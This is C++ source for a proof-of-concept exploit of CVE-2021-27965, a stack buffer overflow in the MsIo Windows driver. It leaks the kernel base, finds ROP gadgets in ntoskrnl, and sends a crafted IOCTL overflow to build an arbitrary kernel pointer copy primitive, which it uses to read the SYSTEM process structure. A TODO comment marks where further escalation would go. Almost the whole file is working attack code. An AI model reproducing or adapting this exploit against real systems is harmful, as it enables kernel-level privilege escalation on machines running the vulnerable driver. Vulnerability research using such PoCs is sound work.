//include NtDll SDK
#include "D:\work\SDK\ntdll.h"
#pragma comment(lib, "ntdll.lib")

//include windows SDK and stdio for logging
#include <Windows.h>
#include <stdio.h>

//print error message, wait for enter and terminate
void __declspec(noreturn) error(const char* szErr)
{
	printf("[-] %s\n", szErr);

	getchar();
	exit(-1);
}

//acquire base address of ntoskrnl.exe module in kernel space
PCHAR GetNtOsKrnlBase(void)
{
	//get required size of SystemModuleInformation array
	DWORD dwSize = 0;

	if (NtQuerySystemInformation(SystemModuleInformation, nullptr, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH)
		error("Cannot get length of system module list array");

	//alloc mem for system modules
	PRTL_PROCESS_MODULES pSystemModules = (PRTL_PROCESS_MODULES)malloc(dwSize);

	if (!pSystemModules)
		error("Cannot allocate memory for system module list");

	//query system modules
	if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, pSystemModules, dwSize, &dwSize)))
		error("Cannot get system module list");

	DWORD dwCount = pSystemModules->NumberOfModules;
	printf("[+] Found %d system modules\n", dwCount);

	//for each system module check its full path name for substring "ntoskrnl.exe"
	for (DWORD i = 0; i < dwCount; i++)
	{
		if (strstr((const char*)pSystemModules->Modules[i].FullPathName, "ntoskrnl.exe"))
		{
			//now get the image base addr
			PCHAR pBase = (PCHAR)pSystemModules->Modules[i].ImageBase;

			printf("[+] Found ntoskrnl.exe at 0x%p\n", pBase);

			//free system module list and return leaked base address
			free(pSystemModules);
			return pBase;
		}
	}

	//this shouldn't happen
	error("Cannot find ntoskrnl.exe in system module list");
}

//find array of byte (AoB/pattern) in given memory block
DWORD FindAoB(PCHAR pMemBlock, PCHAR pAoB)
{
	DWORD dwLen = 0;

	//count AoB length
	while (pAoB[dwLen])
		++dwLen;

	//loop endlessly in memblock and hope pattern will be found
	for (DWORD i = 0;; i++)
	{
		bool bFound = true;

		//simple implementation of memcmp(pMemBlock + i, pAoB, dwLen)
		for (DWORD j = 0; j < dwLen; j++)
		{
			if (pMemBlock[i + j] != pAoB[j])
			{
				bFound = false;
				break;
			}
		}

		//if bFound was not changed, we found it! return offset from pMemBlock
		if (bFound)
			return i;
	}
}

//hold all important data for submiting overflow data
typedef struct
{
	HANDLE hDevice;
	PCHAR HvlEndSystemInterrupt;
	PCHAR RtlCopyLuid;
	PCHAR NtTerminateThread;
}
OVERFLOW_PARAMS;

//return filled struct with all important pointers
OVERFLOW_PARAMS* GetOverflowParameters(HMODULE hNtOsKrnl, PCHAR pNtOsKrnl)
{
	//calculate address of RtlCopyLuid in windows kernel (not to confuse with RtlCopyLuid in ntdll - that SMEP would not like)
	//RtlCopyLuid disassembly:
	// mov rax, qword ptr[rdx]
	// mov qword ptr[rcx], rax
	// ret
	PCHAR kRtlCopyLuid = (PCHAR)GetProcAddress(hNtOsKrnl, "RtlCopyLuid");

	if (!kRtlCopyLuid)
		error("Cannot get ntoskrnl export RtlCopyLuid");

	kRtlCopyLuid += pNtOsKrnl - (PCHAR)hNtOsKrnl;
	printf("[+] Found RtlCopyLuid at 0x%p\n", kRtlCopyLuid);

	//calculate address of HvlEndSystemInterrupt ROP gadget, its not exported function so lets AoB scan for it
	//HvlEndSystemInterrupt+1e disassembly:
	// pop rdx
	// pop rax
	// pop rcx
	// ret
	PCHAR HvlEndSystemInterrupt = pNtOsKrnl + FindAoB((PCHAR)hNtOsKrnl, "\x0f\x30\x5a\x58\x59\xc3") - 0x2;
	printf("[+] Found HvlEndSystemInterrupt gadget at 0x%p\n", HvlEndSystemInterrupt);

	//find NtTerminateThread in ntoskrnl, its not exported too but since it is changing between versions of kernel a lot, i cannot find AoB for it :(
	//FIXME: using hardcoded offsets will break cross version compatibility, you need to locate NtTerminateThread manually and update offset here:
	PCHAR kNtTerminateThread = pNtOsKrnl + 0x7098c0;
	printf("[+] Found NtTerminateThread at 0x%p\n", kNtTerminateThread);

	//open handle to vulnerable service
	HANDLE hDevice = CreateFileW(L"\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);

	if (hDevice == INVALID_HANDLE_VALUE)
		error("Cannot open handle to driver, is the service running?");

	printf("[+] Opened MsIo control handle 0x%p\n", hDevice);

	//make OVERFLOW_PARAMS and populate its entries
	OVERFLOW_PARAMS* pOvParams = (OVERFLOW_PARAMS*)malloc(sizeof(OVERFLOW_PARAMS));

	if (pOvParams == nullptr)
		error("Cannot allocate heap for overflow parameters");

	pOvParams->hDevice = hDevice;
	pOvParams->HvlEndSystemInterrupt = HvlEndSystemInterrupt;
	pOvParams->RtlCopyLuid = kRtlCopyLuid;
	pOvParams->NtTerminateThread = kNtTerminateThread;

	return pOvParams;
}

#define SYSTEM_BUFFER_SIZE (sizeof(ULONGLONG) * 19)
LPVOID g_SystemBuffer;

//call vulnerable driver with g_SystemBuffer
DWORD WINAPI CallDriver(HANDLE hDevice)
{
	DWORD dwBytesReturned;

	//submit overflow data to driver, from now there is no returning!
	if (!DeviceIoControl(hDevice, 0x80102044, &g_SystemBuffer, SYSTEM_BUFFER_SIZE, &g_SystemBuffer, SYSTEM_BUFFER_SIZE, &dwBytesReturned, nullptr))
		error("Error in ioctl");

	error("Something went wrong because thread returned from ioctl");
}

//execute exploit 'driver stack based buffer overflow' by submiting overflow data. result: arbitrary coping of 8 bytes / ptr
void CopyKernelPointer(OVERFLOW_PARAMS* pOvParams, void* pDst, PCHAR pSrc)
{
	//alloc heap for overflow data
	ULONGLONG* OverflowData = (ULONGLONG*)malloc(SYSTEM_BUFFER_SIZE);

	if (!OverflowData)
		error("Cannot allocate memory for overflow data");

	//craft special ioctl packet to overflow stack based buffer
	OverflowData[0] = 0x1337133713371337;
	OverflowData[1] = 0x1337133713371337;
	OverflowData[2] = 0x1337133713371337;
	OverflowData[3] = 0x1337133713371337;
	OverflowData[4] = 0x1337133713371337;
	OverflowData[5] = 0x1337133713371337;
	OverflowData[6] = 0x1337133713371337;
	OverflowData[7] = 0x1337133713371337;
	OverflowData[8] = 0x1337133713371337;

	//this will overwrite return address from ioctl dispatch
	OverflowData[9] = (ULONGLONG)pOvParams->HvlEndSystemInterrupt;
	OverflowData[10] = (ULONGLONG)pSrc;
	OverflowData[11] = 0x1337133713371337;
	OverflowData[12] = (ULONGLONG)pDst;

	//return address from HvlEndSystemInterrupt
	OverflowData[13] = (ULONGLONG)pOvParams->RtlCopyLuid;

	//return address from RtlCopyLuid
	OverflowData[14] = (ULONGLONG)pOvParams->HvlEndSystemInterrupt;
	OverflowData[15] = 0x0000000000000000; //STATUS_SUCCESS
	OverflowData[16] = 0x1337133713371337;
	OverflowData[17] = 0xFFFFFFFFFFFFFFFE; //NtCurrentThread

	//return address from HvlEndSystemInterrupt after RtlCopyLuid was called
	OverflowData[18] = (ULONGLONG)pOvParams->NtTerminateThread;

	//make pointer to overflow data global variable so the thread we will create can access it
	g_SystemBuffer = OverflowData;

	//we cannot directly ioctl the driver because its ioctl dispatch will be invoked in a context of calling thread - and that thread will get terminated
	//that means CallDriver func is __declspec(noreturn) so we must create a dummy thread that will invoke it for us
	HANDLE hThread = CreateThread(nullptr, NULL, CallDriver, pOvParams->hDevice, NULL, nullptr);
	
	//wait for the thread
	WaitForSingleObject(hThread, INFINITE);

	//cleanup
	CloseHandle(hThread);
	free(g_SystemBuffer);
}

//entry of console application
DWORD main(DWORD argc, CHAR* argv[])
{
	//hello world!
	printf("\n******************************************\n");
	printf("CVE-2021-27965 PoC exploit by mathisvickie");
	printf("\n******************************************\n\n");

	//first, obtain kernel base
	PCHAR pNtOsKrnl = GetNtOsKrnlBase();

	//load ntoskrnl.exe as resource
	HMODULE hNtOsKrnl = LoadLibraryExW(L"ntoskrnl.exe", nullptr, DONT_RESOLVE_DLL_REFERENCES);

	if (!hNtOsKrnl)
		error("Cannot load ntoskrnl.exe");

	//calculate system EPROCESS*
	PCHAR PsInitialSystemProcess = (PCHAR)GetProcAddress(hNtOsKrnl, "PsInitialSystemProcess");

	if (!PsInitialSystemProcess)
		error("Cannot get ntoskrnl export PsInitialSystemProcess");

	PsInitialSystemProcess += pNtOsKrnl - (PCHAR)hNtOsKrnl;
	printf("[+] Found PsInitialSystemProcess at 0x%p\n", PsInitialSystemProcess);

	//get all needed kernel pointers
	OVERFLOW_PARAMS* pOvParams = GetOverflowParameters(hNtOsKrnl, pNtOsKrnl);

	//ntoskrnl resource is no longer needed
	FreeLibrary(hNtOsKrnl);

	//get system EPROCESS
	PCHAR SystemEPROCESS;
	CopyKernelPointer(pOvParams, &SystemEPROCESS, PsInitialSystemProcess);

	printf("[+] Found system EPROCESS at 0x%p\n", SystemEPROCESS);

	getchar();
	// ... TODO: continue, now we have CopyKernelPointer which is like read/write primitive

	free(pOvParams);
	return 0;
}